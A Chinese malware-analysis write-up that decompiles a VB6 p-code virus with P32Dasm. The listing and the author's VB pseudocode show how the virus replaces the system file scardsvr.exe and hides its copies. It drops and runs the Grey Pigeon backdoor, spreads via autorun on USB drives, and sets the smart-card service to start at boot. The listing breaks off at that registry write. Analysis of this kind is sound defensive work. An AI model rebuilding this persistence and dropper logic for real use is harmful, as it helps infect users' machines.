【工    具】:P32Dasm v2.3
【任    务】:病毒分析
【操作平台】:Windows 2003 server 
【作    者】: LoveBoom[DFCG][FCG][CUG]
【链    接】:N/A
【简要说明】:
这是一个VB6 pCode编译,功能代码比较简单的病毒,当时引起注意是因为这病毒运行后会替换系统文件。病毒的作用就是传播灰鸽子病毒。同时由于该病毒为vb6程序,因此这篇文章中我会尽量以vb的代码风格来分析/讲解。
【病毒分析】:
中了这个病毒后的表现如下:
1、在移动硬盘/u盘的根目录下可见sky.exe和autorun.inf文件(文件属性为系统隐藏)。
2、可在本地系统和移动盘上找到systemcheck.log文件(该文件就是灰鸽子主程序)。
3、病毒替换系统中的scardsvr.exe文件,并使该服务开机时自动加载(系统默认启动方式为手动)。
4、在系统目录下可见iexplorer.exe的伪IE程序,文件大小为:36864 byte。
如果你的机器上存在以下表象就要留意了,说不定就是该病毒。知道表象后,我用peid扫描了下,显示结果为vb程序,再用ida打开看了下,发现ida不能反汇编出相应的代码,然后联想到vb有pcode和native方式编译,pcode编译出的代码是伪指令,而native编译后的是机器码,因此可以断定该程序是pcode程序,知道是pcode程序后,请出今天的主角P32Dasm载入目标程序,结果非常明了。通过反编译,可以得出病毒响应以下几个事件:
Main()
Form_load()
Timer1_timer()
下面分别以代码方式看看这几个事件中具体又做了些什么:
Sub Main()
00004EA0:  00   LargeBos
00004EA2:  00   LargeBos
00004EA4:  4B   OnErrorGoto    ;On Error Resume Next,出错时忽略错误 
00004EA7:  00   LargeBos
00004EA9:  04   FLdRfVar szIE
00004EAC:  04   FLdRfVar var_88
00004EAF:  05   ImpAdLdRf
00004EB2:  24   NewIfNullPr
00004EB5:  0D   VCallHresult Global.Get_App() As App
00004EBA:  08   FLdPr var_88
00004EBD:  0D   VCallHresult App.Get_EXEName()
00004EC2:  3E   FLdZeroAd szIE
00004EC5:  46   CVarStr var_9C
00004EC8:  04   FLdRfVar var_AC
00004ECB:  0A   ImpAdCallFPR4 LCase()
00004ED0:  04   FLdRfVar var_AC
00004ED3:  FCF6 FStVar var_BC
00004ED7:  1A   FFree1Ad var_88
00004EDA:  35   FFree1Var var_9C
00004EDD:  00   LargeBos        ;获取程序名并将名字小写
00004EDF:  04   FLdRfVar var_BC    ;szAppName = lcase(app.exename)  
00004EE2:  3A   LitVarStr: "iexplorer"
00004EE7:  5D   HardType
00004EE8:  FB33 EqVarBool =      ;如果文件名不为"iexplorer.exe则跳
00004EEA:  1C   BranchF   Next_4F0A
00004EED:  00   LargeBos      ;if szAppName = "iexplorer" then exit sub
00004EEF:  05   ImpAdLdRf    ;如果程序名为iexplorer.exe则退出sub main过程
00004EF2:  56   NewIfNullAd
00004EF5:  FD9C FStAdNoPop
00004EF9:  05   ImpAdLdRf
00004EFC:  24   NewIfNullPr
00004EFF:  0D   VCallHresult Global._Load(object As IDispatch)
00004F04:  1A   FFree1Ad var_88
00004F07:  1E   Branch   SubMain_ExitSub
Next_4F0A: 
00004F0A:  00   LargeBos
00004F0C:  04   FLdRfVar var_BC  ;if szAppName <> "scardsvr" then goto Next_5139
00004F0F:  3A   LitVarStr: "scardsvr"
00004F14:  5D   HardType
00004F15:  FB33 EqVarBool =      ;如果程序名不为"scardsvr"则跳
00004F17:  1C   BranchF   Next_5139
00004F1A:  00   LargeBos
00004F1C:  04   FLdRfVar szIE
00004F1F:  04   FLdRfVar var_88
00004F22:  05   ImpAdLdRf
00004F25:  24   NewIfNullPr
00004F28:  0D   VCallHresult Global.Get_App() As App
00004F2D:  08   FLdPr var_88
00004F30:  0D   VCallHresult App.Get_Path()
00004F35:  F5   LitI4: 7 0x7
00004F3A:  6C   ILdRf szIE
00004F3D:  1B   LitStr: "\iexplorer.exe"
00004F40:  2A   ConcatStr
00004F41:  46   CVarStr var_9C
00004F44:  0B   ImpAdCallI2 Dir()  ;if dir(app.path & "\iexplorer.exe") <> "" then goto Next_5075
00004F49:  23   FStStrNoPop var_D0
00004F4C:  1B   LitStr: ""      ;这里其实病毒作者写的有问题,vb中app.path函数返回有以下两种情况:
1、程序在根目录下返回为"c:\"(注:其中C代表分区名);
2、程序不在根目录下返回为"c:\path"
也就是说如果程序在根目录下那病毒后面的很多操作可能会失败。
00004F4F:  FB30 EqStr =
00004F51:  32   FFreeStr szIE var_D0
00004F58:  1A   FFree1Ad var_88
00004F5B:  35   FFree1Var var_9C
00004F5E:  1C   BranchF   Next_5075  ;如果当前目录下的iexplorer.exe文件存在则跳
00004F61:  00   LargeBos
00004F63:  F5   LitI4: 0 0x0
00004F68:  1B   LitStr: "Scripting.FileSystemObject"
00004F6B:  04   FLdRfVar var_9C
00004F6E:  0A   ImpAdCallFPR4 rtcCreateObject2
00004F73:  04   FLdRfVar var_9C
00004F76:  04   FLdRfVar var_E0
00004F79:  FE4E SetVarVarFunc
......
00004F89:  0D   VCallHresult Global.Get_App() As App
00004F8E:  08   FLdPr var_88
00004F91:  0D   VCallHresult App.Get_Path()
00004F96:  6C   ILdRf szIE
00004F99:  1B   LitStr: "\"
00004F9C:  2A   ConcatStr
00004F9D:  23   FStStrNoPop var_E8
......
00004FAC:  0D   VCallHresult Global.Get_App() As App
00004FB1:  08   FLdPr var_E4
00004FB4:  0D   VCallHresult App.Get_EXEName()
00004FB9:  6C   ILdRf var_D0
00004FBC:  2A   ConcatStr
00004FBD:  23   FStStrNoPop var_EC
00004FC0:  1B   LitStr: ".exe"
......
00004FFB:  0D   VCallHresult Global.Get_App() As App
00005000:  08   FLdPr var_88
00005003:  0D   VCallHresult App.Get_Path()
00005008:  6C   ILdRf szIE
0000500B:  1B   LitStr: "\iexplorer.exe"
......
00005018:  FE98 LateMemCall      ;如果当前目录下的iexplorer.exe不存在则执行如下操作
;原程序用的fs来做的,其实就是简单的复制操作
; CopyFile app.path &"\" & app.exename,app.path & "\iexplorer.exe"
;将病毒自身复制至当前目录下命名为:"iexplorer.exe"
......
00005035:  0D   VCallHresult Global.Get_App() As App
0000503A:  08   FLdPr var_88
0000503D:  0D   VCallHresult App.Get_Path()
00005042:  6C   ILdRf szIE
00005045:  1B   LitStr: "\iexplorer.exe"
00005048:  2A   ConcatStr
00005049:  46   CVarStr var_9C
0000504C:  25   PopAdLdVar
0000504D:  04   FLdRfVar var_E0
00005050:  FF42 VarLateMemCallLdVar
00005058:  04   FLdRfVar var_FC
0000505B:  FE4E SetVarVarFunc
0000505D:  2F   FFree1Str szIE
00005060:  1A   FFree1Ad var_88
00005063:  35   FFree1Var var_9C
00005066:  00   LargeBos
00005068:  28   LitVarI2: 7 0x7 var_CC
0000506D:  25   PopAdLdVar
0000506E:  04   FLdRfVar var_FC
00005071:  FF43 VarLateMemSt
Next_5075: 
00005075:  00   LargeBos
00005077:  00   LargeBos
00005079:  04   FLdRfVar szIE
0000507C:  04   FLdRfVar var_88
0000507F:  05   ImpAdLdRf
00005082:  24   NewIfNullPr
00005085:  0D   VCallHresult Global.Get_App() As App
0000508A:  08   FLdPr var_88
0000508D:  0D   VCallHresult App.Get_Path()
00005092:  F5   LitI4: 0 0x0
00005097:  6C   ILdRf szIE
0000509A:  1B   LitStr: "\iexplorer.exe"
0000509D:  2A   ConcatStr
0000509E:  46   CVarStr var_9C
000050A1:  0A   ImpAdCallFPR4 Shell()  ;复制完毕后执行程序 shell app.path &"\iexplorer.exe"
000050A6:  74   FStFPR8
000050A9:  2F   FFree1Str szIE
000050AC:  1A   FFree1Ad var_88
000050AF:  35   FFree1Var var_9C
000050B2:  00   LargeBos
000050B4:  04   FLdRfVar szIE
000050B7:  04   FLdRfVar var_88
000050BA:  05   ImpAdLdRf
000050BD:  24   NewIfNullPr
000050C0:  0D   VCallHresult Global.Get_App() As App
000050C5:  08   FLdPr var_88
000050C8:  0D   VCallHresult App.Get_Path()
000050CD:  F5   LitI4: 7 0x7
000050D2:  6C   ILdRf szIE
000050D5:  1B   LitStr: "\windowsupdate.log"
000050D8:  2A   ConcatStr
000050D9:  46   CVarStr var_9C
000050DC:  0B   ImpAdCallI2 Dir()
000050E1:  23   FStStrNoPop var_D0
000050E4:  1B   LitStr: ""    
;if dir(app.path &"\windowsupdate.log")<>"" then
;  shell app.path &"\windowsupdate.log"
;end if
000050E7:  FB3D NeStr <>
000050E9:  32   FFreeStr szIE var_D0
000050F0:  1A   FFree1Ad var_88
000050F3:  35   FFree1Var var_9C
000050F6:  1C   BranchF   ExitSub_5134
000050F9:  00   LargeBos
000050FB:  04   FLdRfVar szIE
000050FE:  04   FLdRfVar var_88
00005101:  05   ImpAdLdRf
00005104:  24   NewIfNullPr
00005107:  0D   VCallHresult Global.Get_App() As App
0000510C:  08   FLdPr var_88
0000510F:  0D   VCallHresult App.Get_Path()
00005114:  F5   LitI4: 0 0x0
00005119:  6C   ILdRf szIE
0000511C:  1B   LitStr: "\windowsupdate.log"
0000511F:  2A   ConcatStr
00005120:  46   CVarStr var_9C
00005123:  0A   ImpAdCallFPR4 Shell()  ;如果病毒当前目录下存在Windowsupdate.log文件则执行该程序
00005128:  74   FStFPR8
0000512B:  2F   FFree1Str szIE
0000512E:  1A   FFree1Ad var_88
00005131:  35   FFree1Var var_9C
ExitSub_5134: 
00005134:  00   LargeBos
00005136:  1E   Branch   SubMain_ExitSub
Next_5139:           ;程序名为不iexplorer也不为scardsvr则跳到这里
00005139:  00   LargeBos
0000513B:  00   LargeBos
0000513D:  F5   LitI4: 0 0x0
00005142:  1B   LitStr: "Scripting.FileSystemObject"
00005145:  04   FLdRfVar var_9C
00005148:  0A   ImpAdCallFPR4 rtcCreateObject2
0000514D:  04   FLdRfVar var_9C
00005150:  04   FLdRfVar var_E0
00005153:  FE4E SetVarVarFunc
00005155:  00   LargeBos
00005157:  28   LitVarI2: 1 0x1 var_CC
0000515C:  25   PopAdLdVar
0000515D:  04   FLdRfVar var_E0
00005160:  FF42 VarLateMemCallLdVar
00005168:  FC8B PopAd
0000516A:  F5   LitI4: 7 0x7
0000516F:  04   FLdRfVar var_9C
00005172:  3A   LitVarStr: "\iexplorer.exe"
00005177:  FBEF ConcatVar
0000517B:  0B   ImpAdCallI2 Dir()
00005180:  23   FStStrNoPop szIE
00005183:  1B   LitStr: ""
00005186:  FB30 EqStr =
00005188:  2F   FFree1Str szIE
0000518B:  36   FFreeVar var_9C var_AC
00005192:  1C   BranchF   ShellExplorer    ;系统目录下的iexploer.exe文件存在则执行打开资源管理器操作
00005195:  00   LargeBos
00005197:  28   LitVarI2: 1 0x1 var_CC
0000519C:  25   PopAdLdVar
0000519D:  04   FLdRfVar var_E0
000051A0:  FF42 VarLateMemCallLdVar
000051A8:  FC8B PopAd
000051AA:  F5   LitI4: 7 0x7
000051AF:  04   FLdRfVar var_9C
000051B2:  3A   LitVarStr: "\dllcache\scardsvr.exe"
000051B7:  FBEF ConcatVar
000051BB:  0B   ImpAdCallI2 Dir()
000051C0:  23   FStStrNoPop szIE
000051C3:  1B   LitStr: ""
000051C6:  FB3D NeStr <>
000051C8:  2F   FFree1Str szIE
000051CB:  36   FFreeVar var_9C var_AC
000051D2:  1C   BranchF   000051FD
000051D5:  00   LargeBos
000051D7:  28   LitVarI2: 1 0x1 var_CC
000051DC:  25   PopAdLdVar
000051DD:  04   FLdRfVar var_E0
000051E0:  FF42 VarLateMemCallLdVar
000051E8:  3A   LitVarStr: "\dllcache\scardsvr.exe"    ;dllcache目录下的scardsvr.exe存在则删除该文件
000051ED:  FBEF ConcatVar
000051F1:  0A   ImpAdCallFPR4 Kill()
000051F6:  36   FFreeVar var_9C var_AC
;if dir("%system%\dllcache\scardsvr.exe")<> "" then
;  kill "%system%\dllcache\scardsvr.exe"
;End if
000051FD: 
000051FD:  00   LargeBos
000051FF:  00   LargeBos
00005201:  28   LitVarI2: 1 0x1 var_CC
00005206:  25   PopAdLdVar
00005207:  04   FLdRfVar var_E0
0000520A:  FF42 VarLateMemCallLdVar
00005212:  FC8B PopAd
00005214:  F5   LitI4: 7 0x7
00005219:  04   FLdRfVar var_9C
0000521C:  3A   LitVarStr: "\scardsvr.exe"
00005221:  FBEF ConcatVar
00005225:  0B   ImpAdCallI2 Dir()
0000522A:  23   FStStrNoPop szIE
0000522D:  1B   LitStr: ""
00005230:  FB3D NeStr <>
00005232:  2F   FFree1Str szIE
00005235:  36   FFreeVar var_9C var_AC
0000523C:  1C   BranchF   00005267
0000523F:  00   LargeBos
00005241:  28   LitVarI2: 1 0x1 var_CC
00005246:  25   PopAdLdVar
00005247:  04   FLdRfVar var_E0
0000524A:  FF42 VarLateMemCallLdVar
00005252:  3A   LitVarStr: "\scardsvr.exe"
00005257:  FBEF ConcatVar
0000525B:  0A   ImpAdCallFPR4 Kill()    ;system32目录下的scardsvr.exe存在则删除该文件
00005260:  36   FFreeVar var_9C var_AC
;if dir("%system%\dllcache\scardsvr.exe")<> "" then
;  kill "%system%\dllcache\scardsvr.exe"
;End if
00005267: 
00005267:  00   LargeBos
00005269:  00   LargeBos
0000526B:  04   FLdRfVar szIE
0000526E:  04   FLdRfVar var_88
00005271:  05   ImpAdLdRf
00005274:  24   NewIfNullPr
00005277:  0D   VCallHresult Global.Get_App() As App
0000527C:  08   FLdPr var_88
0000527F:  0D   VCallHresult App.Get_Path()
00005284:  6C   ILdRf szIE
00005287:  1B   LitStr: "\"
0000528A:  2A   ConcatStr
0000528B:  23   FStStrNoPop var_E8
0000528E:  04   FLdRfVar var_D0
00005291:  04   FLdRfVar var_E4
00005294:  05   ImpAdLdRf
00005297:  24   NewIfNullPr
0000529A:  0D   VCallHresult Global.Get_App() As App
0000529F:  08   FLdPr var_E4
000052A2:  0D   VCallHresult App.Get_EXEName()
000052A7:  6C   ILdRf var_D0
000052AA:  2A   ConcatStr
000052AB:  23   FStStrNoPop var_EC
000052AE:  1B   LitStr: ".exe"
000052B1:  2A   ConcatStr
000052B2:  46   CVarStr var_9C
000052B5:  25   PopAdLdVar
000052B6:  04   FLdRfVar var_E0
000052B9:  FF42 VarLateMemCallLdVar
000052C1:  04   FLdRfVar var_FC
000052C4:  FE4E SetVarVarFunc
000052C6:  32   FFreeStr szIE var_E8 var_D0 var_EC
000052D1:  29   FFreeAd: var_88 var_E4
000052D8:  35   FFree1Var var_9C
000052DB:  00   LargeBos
000052DD:  28   LitVarI2: 1 0x1 var_CC
000052E2:  25   PopAdLdVar
000052E3:  04   FLdRfVar var_E0
000052E6:  FF42 VarLateMemCallLdVar
000052EE:  3A   LitVarStr: "\scardsvr.exe"    ;复制病毒自身为%system32%\scardsvr.exe
000052F3:  FBEF ConcatVar
000052F7:  25   PopAdLdVar
000052F8:  04   FLdRfVar var_FC
000052FB:  FD9F LdPrVar
000052FD:  FE98 LateMemCall
00005303:  36   FFreeVar var_9C var_AC
;CopyFile app.path & "\" & app.exename &".exe",%system32%\scardsvr.exe
0000530A:  00   LargeBos
0000530C:  28   LitVarI2: 1 0x1 var_CC
00005311:  25   PopAdLdVar
00005312:  04   FLdRfVar var_E0
00005315:  FF42 VarLateMemCallLdVar
0000531D:  3A   LitVarStr: "\dllcache\scardsvr.exe"    ;复制病毒自身为%system32%\dllcache\scardsvr.exe
00005322:  FBEF ConcatVar
00005326:  25   PopAdLdVar
00005327:  04   FLdRfVar var_FC
0000532A:  FD9F LdPrVar
0000532C:  FE98 LateMemCall
00005332:  36   FFreeVar var_9C var_AC
;CopyFile app.path & "\" & app.exename &".exe",%system32%\dllcache\scardsvr.exe
00005339:  00   LargeBos
0000533B:  28   LitVarI2: 1 0x1 var_CC
00005340:  25   PopAdLdVar
00005341:  04   FLdRfVar var_E0
00005344:  FF42 VarLateMemCallLdVar
0000534C:  3A   LitVarStr: "\IEXPLORER.EXE"
00005351:  FBEF ConcatVar
00005355:  25   PopAdLdVar
00005356:  04   FLdRfVar var_FC
00005359:  FD9F LdPrVar
0000535B:  FE98 LateMemCall
00005361:  36   FFreeVar var_9C var_AC
00005368:  00   LargeBos
0000536A:  28   LitVarI2: 1 0x1 var_CC
0000536F:  25   PopAdLdVar
00005370:  04   FLdRfVar var_E0
00005373:  FF42 VarLateMemCallLdVar
0000537B:  3A   LitVarStr: "\scardsvr.exe"    ;设置文件属性为系统隐藏
;也就是相当于vb中的SetAttr %system32%\scardsvr.exe,vbHidden Or vbSystem Or vbReadOnly
00005380:  FBEF ConcatVar
00005384:  25   PopAdLdVar
00005385:  04   FLdRfVar var_E0
00005388:  FF42 VarLateMemCallLdVar
00005390:  04   FLdRfVar var_FC
00005393:  FE4E SetVarVarFunc
00005395:  36   FFreeVar var_9C var_AC
0000539C:  00   LargeBos
0000539E:  28   LitVarI2: 7 0x7 var_CC
000053A3:  25   PopAdLdVar
000053A4:  04   FLdRfVar var_FC
000053A7:  FF43 VarLateMemSt
000053AB:  00   LargeBos
000053AD:  28   LitVarI2: 1 0x1 var_CC
000053B2:  25   PopAdLdVar
000053B3:  04   FLdRfVar var_E0
000053B6:  FF42 VarLateMemCallLdVar
000053BE:  3A   LitVarStr: "\iexplorer.exe"    ;设置文件属性为系统隐藏
;SetAttr %system32%\scardsvr.exe,vbHidden Or vbSystem Or vbReadOnly
000053C3:  FBEF ConcatVar
000053C7:  25   PopAdLdVar
000053C8:  04   FLdRfVar var_E0
000053CB:  FF42 VarLateMemCallLdVar
000053D3:  04   FLdRfVar var_FC
000053D6:  FE4E SetVarVarFunc
000053D8:  36   FFreeVar var_9C var_AC
000053DF:  00   LargeBos
000053E1:  28   LitVarI2: 7 0x7 var_CC
000053E6:  25   PopAdLdVar
000053E7:  04   FLdRfVar var_FC
000053EA:  FF43 VarLateMemSt
000053EE:  00   LargeBos
000053F0:  04   FLdRfVar szIE
000053F3:  04   FLdRfVar var_88
000053F6:  05   ImpAdLdRf
000053F9:  24   NewIfNullPr
000053FC:  0D   VCallHresult Global.Get_App() As App
00005401:  08   FLdPr var_88
00005404:  0D   VCallHresult App.Get_Path()
00005409:  28   LitVarI2: 1 0x1 var_CC
0000540E:  25   PopAdLdVar
0000540F:  04   FLdRfVar var_E0
00005412:  FF42 VarLateMemCallLdVar
0000541A:  FC8B PopAd
0000541C:  F5   LitI4: 7 0x7
00005421:  6C   ILdRf szIE
00005424:  1B   LitStr: "\systemcheck.log"    ;当前目录下的systemcheck.log文件存在,
则复制该文件至%system32%\windowsupdate.log,然后运行复制后的文件.
00005427:  2A   ConcatStr
00005428:  46   CVarStr var_9C
0000542B:  0B   ImpAdCallI2 Dir()
00005430:  23   FStStrNoPop var_D0
00005433:  1B   LitStr: ""
00005436:  FB3D NeStr <>
00005438:  F5   LitI4: 7 0x7
0000543D:  04   FLdRfVar var_AC
00005440:  3A   LitVarStr: "\windowsupdate.log"
00005445:  FBEF ConcatVar
00005449:  0B   ImpAdCallI2 Dir()
0000544E:  23   FStStrNoPop var_E8
00005451:  1B   LitStr: ""
00005454:  FB30 EqStr =
00005456:  C4   AndI4 And
00005457:  32   FFreeStr szIE var_D0 var_E8
00005460:  1A   FFree1Ad var_88
00005463:  36   FFreeVar var_9C var_AC var_144
0000546C:  1C   BranchF   00005555
0000546F:  00   LargeBos
00005471:  04   FLdRfVar szIE
00005474:  04   FLdRfVar var_88
00005477:  05   ImpAdLdRf
0000547A:  24   NewIfNullPr
0000547D:  0D   VCallHresult Global.Get_App() As App
00005482:  08   FLdPr var_88
00005485:  0D   VCallHresult App.Get_Path()
0000548A:  6C   ILdRf szIE
0000548D:  1B   LitStr: "\systemcheck.log"
00005490:  2A   ConcatStr
00005491:  46   CVarStr var_9C
00005494:  25   PopAdLdVar
00005495:  04   FLdRfVar var_E0
00005498:  FF42 VarLateMemCallLdVar
000054A0:  04   FLdRfVar var_FC
000054A3:  FE4E SetVarVarFunc
000054A5:  2F   FFree1Str szIE
000054A8:  1A   FFree1Ad var_88
000054AB:  35   FFree1Var var_9C
000054AE:  00   LargeBos
000054B0:  28   LitVarI2: 1 0x1 var_CC
000054B5:  25   PopAdLdVar
000054B6:  04   FLdRfVar var_E0
000054B9:  FF42 VarLateMemCallLdVar
000054C1:  3A   LitVarStr: "\windowsupdate.log"
000054C6:  FBEF ConcatVar
000054CA:  25   PopAdLdVar
000054CB:  04   FLdRfVar var_FC
000054CE:  FD9F LdPrVar
000054D0:  FE98 LateMemCall
000054D6:  36   FFreeVar var_9C var_AC
000054DD:  00   LargeBos
000054DF:  28   LitVarI2: 1 0x1 var_CC
000054E4:  25   PopAdLdVar
000054E5:  04   FLdRfVar var_E0
000054E8:  FF42 VarLateMemCallLdVar
000054F0:  3A   LitVarStr: "\windowsupdate.log"
000054F5:  FBEF ConcatVar
000054F9:  25   PopAdLdVar
000054FA:  04   FLdRfVar var_E0
000054FD:  FF42 VarLateMemCallLdVar
00005505:  04   FLdRfVar var_FC
00005508:  FE4E SetVarVarFunc
0000550A:  36   FFreeVar var_9C var_AC
00005511:  00   LargeBos
00005513:  28   LitVarI2: 7 0x7 var_CC
00005518:  25   PopAdLdVar
00005519:  04   FLdRfVar var_FC
0000551C:  FF43 VarLateMemSt
00005520:  00   LargeBos
00005522:  28   LitVarI2: 1 0x1 var_CC
00005527:  25   PopAdLdVar
00005528:  04   FLdRfVar var_E0
0000552B:  FF42 VarLateMemCallLdVar
00005533:  FC8B PopAd
00005535:  F5   LitI4: 0 0x0
0000553A:  04   FLdRfVar var_9C
0000553D:  3A   LitVarStr: "\windowsupdate.log"
00005542:  FBEF ConcatVar
00005546:  0A   ImpAdCallFPR4 Shell()
0000554B:  74   FStFPR8
0000554E:  36   FFreeVar var_9C var_AC
;if dir(app.path & "\systemcheck.log") <> "" and dir(%system32% & "\windowsupdate.log")= "" then
;  CopyFile app.path & "\systemcheck.log", %system32%\windowsupdate.log
;  shell %system32%\windowsupdate.log
;end if
00005555: 
00005555:  00   LargeBos
00005557:  00   LargeBos
00005559:  28   LitVarI2: 1 0x1 var_CC
0000555E:  25   PopAdLdVar
0000555F:  04   FLdRfVar var_E0
00005562:  FF42 VarLateMemCallLdVar
0000556A:  FC8B PopAd
0000556C:  F5   LitI4: 0 0x0
00005571:  04   FLdRfVar var_9C
00005574:  3A   LitVarStr: "\iexplorer.exe"    ;运行系统目录下的iexplorer.exe文件
00005579:  FBEF ConcatVar
0000557D:  0A   ImpAdCallFPR4 Shell()
00005582:  74   FStFPR8
00005585:  36   FFreeVar var_9C var_AC
;shell %system32%\iexplorer.exe
ShellExplorer: 
0000558E:  00   LargeBos
00005590:  04   FLdRfVar szIE
00005593:  04   FLdRfVar var_88
00005596:  05   ImpAdLdRf
00005599:  24   NewIfNullPr
0000559C:  0D   VCallHresult Global.Get_App() As App
000055A1:  08   FLdPr var_88
000055A4:  0D   VCallHresult App.Get_Path()
000055A9:  F5   LitI4: 3 0x3
000055AE:  3E   FLdZeroAd szIE
000055B1:  46   CVarStr var_9C
000055B4:  04   FLdRfVar var_AC
000055B7:  0A   ImpAdCallFPR4 Left()
000055BC:  F5   LitI4: 1 0x1
000055C1:  3A   LitVarStr: "explorer "
000055C6:  04   FLdRfVar var_AC
000055C9:  FBEF ConcatVar
000055CD:  0A   ImpAdCallFPR4 Shell()  ;打开资源管理器,打开路径为当前病毒所在的根目录
000055D2:  74   FStFPR8
000055D5:  1A   FFree1Ad var_88
000055D8:  36   FFreeVar var_9C var_AC var_144
;shell "explorer " & left$(app.path,3)
SubMain_ExitSub:  
000055E1:  00   LargeBos
000055E3:  00   LargeBos
000055E5:  14   ExitProc
;Exit sub
End Sub

Private Sub Form_Load()
000046D0:  F4   LitI2_Byte: 255 0xFF (True)
000046D2:  21   FLdPrThis
000046D3:  0F   VCallAd
000046D6:  19   FStAdFunc var_88
000046D9:  08   FLdPr var_88
000046DC:  0D   VCallHresult Timer.Set_Enabled()
000046E1:  1A   FFree1Ad var_88
000046E4:  13   ExitProcHresult
;Timer1.InterVal = 255    ;设置时间控件的时间间隔
;Timer1.Enabled = true    ;激活时间控件
;Exit sub
End Sub

Private Sub Timer1_Timer()
0000471C:  00   LargeBos
0000471E:  00   LargeBos
00004720:  4B   OnErrorGoto
00004723:  00   LargeBos
00004725:  04   FLdRfVar szIE
00004728:  04   FLdRfVar var_88
0000472B:  05   ImpAdLdRf
0000472E:  24   NewIfNullPr
00004731:  0D   VCallHresult Global.Get_App() As App
00004736:  08   FLdPr var_88
00004739:  0D   VCallHresult App.Get_Path()    ;先判断病毒当前目录下的scardsvr.exe文件是否存在,
不存在则复制病毒体本身为该文件
0000473E:  F5   LitI4: 7 0x7
00004743:  6C   ILdRf szIE
00004746:  1B   LitStr: "\scardsvr.exe"
00004749:  2A   ConcatStr
0000474A:  46   CVarStr var_9C
0000474D:  0B   ImpAdCallI2 Dir()
00004752:  23   FStStrNoPop var_A0
00004755:  1B   LitStr: ""
00004758:  FB30 EqStr =
0000475A:  32   FFreeStr szIE var_A0
00004761:  1A   FFree1Ad var_88
00004764:  35   FFree1Var var_9C
00004767:  1C   BranchF   0000487E
0000476A:  00   LargeBos
0000476C:  F5   LitI4: 0 0x0
00004771:  1B   LitStr: "Scripting.FileSystemObject"
00004774:  04   FLdRfVar var_9C
00004777:  0A   ImpAdCallFPR4 rtcCreateObject2
0000477C:  04   FLdRfVar var_9C
0000477F:  04   FLdRfVar var_B0
00004782:  FE4E SetVarVarFunc
00004784:  00   LargeBos
00004786:  04   FLdRfVar szIE
00004789:  04   FLdRfVar var_88
0000478C:  05   ImpAdLdRf
0000478F:  24   NewIfNullPr
00004792:  0D   VCallHresult Global.Get_App() As App
00004797:  08   FLdPr var_88
0000479A:  0D   VCallHresult App.Get_Path()
0000479F:  6C   ILdRf szIE
000047A2:  1B   LitStr: "\"
000047A5:  2A   ConcatStr
000047A6:  23   FStStrNoPop var_B8
000047A9:  04   FLdRfVar var_A0
000047AC:  04   FLdRfVar var_B4
000047AF:  05   ImpAdLdRf
000047B2:  24   NewIfNullPr
000047B5:  0D   VCallHresult Global.Get_App() As App
000047BA:  08   FLdPr var_B4
000047BD:  0D   VCallHresult App.Get_EXEName()
000047C2:  6C   ILdRf var_A0
000047C5:  2A   ConcatStr
000047C6:  23   FStStrNoPop var_BC
000047C9:  1B   LitStr: ".exe"
000047CC:  2A   ConcatStr
000047CD:  46   CVarStr var_9C
000047D0:  25   PopAdLdVar
000047D1:  04   FLdRfVar var_B0
000047D4:  FF42 VarLateMemCallLdVar
000047DC:  04   FLdRfVar var_DC
000047DF:  FE4E SetVarVarFunc
000047E1:  32   FFreeStr szIE var_B8 var_A0 var_BC
000047EC:  29   FFreeAd: var_88 var_B4
000047F3:  35   FFree1Var var_9C
;if dir(app.path & "\scardsvr.exe")= "" then
;  CopyFile app.path & "\" & app.exename & ".exe",app.path & "\scardsvr.exe"
;end if
000047F6:  00   LargeBos
000047F8:  04   FLdRfVar szIE
000047FB:  04   FLdRfVar var_88
000047FE:  05   ImpAdLdRf
00004801:  24   NewIfNullPr
00004804:  0D   VCallHresult Global.Get_App() As App
00004809:  08   FLdPr var_88
0000480C:  0D   VCallHresult App.Get_Path()
00004811:  6C   ILdRf szIE
00004814:  1B   LitStr: "\scardsvr.exe"
00004817:  2A   ConcatStr
00004818:  46   CVarStr var_9C
0000481B:  25   PopAdLdVar
0000481C:  04   FLdRfVar var_DC
0000481F:  FD9F LdPrVar
00004821:  FE98 LateMemCall
00004827:  2F   FFree1Str szIE
0000482A:  1A   FFree1Ad var_88
0000482D:  35   FFree1Var var_9C
00004830:  00   LargeBos
00004832:  04   FLdRfVar szIE
00004835:  04   FLdRfVar var_88
00004838:  05   ImpAdLdRf
0000483B:  24   NewIfNullPr
0000483E:  0D   VCallHresult Global.Get_App() As App
00004843:  08   FLdPr var_88
00004846:  0D   VCallHresult App.Get_Path()
0000484B:  6C   ILdRf szIE
0000484E:  1B   LitStr: "\scardsvr.exe"
00004851:  2A   ConcatStr
00004852:  46   CVarStr var_9C
00004855:  25   PopAdLdVar
00004856:  04   FLdRfVar var_B0
00004859:  FF42 VarLateMemCallLdVar
00004861:  04   FLdRfVar var_DC
00004864:  FE4E SetVarVarFunc
00004866:  2F   FFree1Str szIE
00004869:  1A   FFree1Ad var_88
0000486C:  35   FFree1Var var_9C
0000486F:  00   LargeBos
00004871:  28   LitVarI2: 7 0x7 var_CC
00004876:  25   PopAdLdVar
00004877:  04   FLdRfVar var_DC
0000487A:  FF43 VarLateMemSt
;设置该文件属性为:系统隐藏只读属性
;SetAttr app.path & "\scardsvr.exe",vbhidden or vbsystem or vbreadonly
0000487E: 
0000487E:  00   LargeBos
00004880:  00   LargeBos
00004882:  F5   LitI4: 0 0x0
00004887:  1B   LitStr: "WScript.Shell"    ;运行该程序
;shell app.path & "\scardsvr.exe"
0000488A:  04   FLdRfVar var_9C
0000488D:  0A   ImpAdCallFPR4 rtcCreateObject2
00004892:  04   FLdRfVar var_9C
00004895:  04   FLdRfVar var_10C
00004898:  FE4E SetVarVarFunc
0000489A:  00   LargeBos
0000489C:  3A   LitVarStr: "HKEY_LOCAL_MACHINE\System\currentcontrolset\services\SCardSvr\Start"
000048A1:  25   PopAdLdVar
000048A2:  04   FLdRfVar var_10C
000048A5:  FF42 VarLateMemCallLdVar
000048AD:  FCF6 FStVar var_11C
000048B1:  00   LargeBos
000048B3:  04   FLdRfVar var_11C
000048B6:  28   LitVarI2: 2 0x2 var_CC
000048BB:  5D   HardType
000048BC:  FB40 NeVarBool <>
000048BE:  1C   BranchF   000048EC
000048C1:  00   LargeBos
000048C3:  28   LitVarI2: 2 0x2 var_CC
000048C8:  FCF6 FStVar var_11C
000048CC:  00   LargeBos
000048CE:  3A   LitVarStr: "HKEY_LOCAL_MACHINE\System\currentcontrolset\services\SCardSvr\Start"
000048D3:  25   PopAdLdVar
000048D4:  04   FLdRfVar var_11C
000048D7:  FD93 CDargRef
000048DB:  3A   LitVarStr: "REG_DWORD"
000048E0:  25   PopAdLdVar
